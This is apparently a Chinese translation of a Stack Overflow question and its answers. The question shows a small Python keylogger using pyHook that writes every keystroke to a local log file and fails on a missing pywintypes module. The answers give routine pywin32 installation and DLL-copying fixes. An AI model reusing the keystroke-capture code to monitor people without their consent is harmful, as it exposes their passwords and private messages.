ImportError:没有名为pywintypes的模块

时间:2013-09-20 02:18:43

标签: python pywin32 keylogger pyhook pythoncom

我正在使用pyHook,pythoncom和Pywin32模块,用Python制作一个小型键盘记录器。这是我的代码:

import pyHook, pythoncom, sys, logging

file_log = 'C:\\important\\log.txt'

def OnKeyboardEvent (event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10, chr(Event.Ascii))
    return True
hooks_manager=pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

运行时,会返回以下错误消息:

 File "C:\Python27\lib\site-packages\pythoncom.py", line 2, in <module>
    import pywintypes
ImportError: No module named pywintypes

如何解决此错误?

6 个答案:

答案 0 :(得分:19)

pywintypesPython for Windows extensions的一部分,也称为pywin32。您需要安装它才能访问pywintypes

请注意,在撰写本文时,pywin32的维护者不会将文件上传到PyPI,因此您必须从http://pywin32.sf.net获取适当版本的安装程序。

答案 1 :(得分:9)

pip install pypiwin32为我工作

答案 2 :(得分:6)

对我来说,它可以从以下位置复制文件(pythoncom38.dll和pywintypes38.dll):

C:\Users\"Your user id"\AppData\Roaming\Python\Python38\site-packages\pywin32_system32

到路径:

C:\Users\"Your user id"\AppData\Roaming\Python\Python38\site-packages\win32\lib

C:\Users\"Your user id"\AppData\Roaming\Python\Python38\site-packages\win32
  • 安装Visual Studio后,有时需要在复制文件后重新启动计算机。

答案 3 :(得分:1)

只需将pythoncom34.dll和pywintypes34.dll添加到您的 C:\ Python34 \

答案 4 :(得分:1)

尝试使用 pywin32 模块创建python服务时遇到此错误。 我将pythoncom38.dllpywintypes38.dll复制到了项目的根目录,它解决了这个问题。

答案 5 :(得分:0)

我知道我的回答有点晚了,但是遇到了这个问题。 pywin32和pypiwin32都已安装在我的virtualenv上,我的应用在测试过程中运行良好。当我运行pyinstaller生成我的exe时,出现此错误。

解决方案: 我需要在基本python env(而不是virtualenv)上安装(通过pip)pywin32和pypiwin32,以便pyinstaller构建我的exe。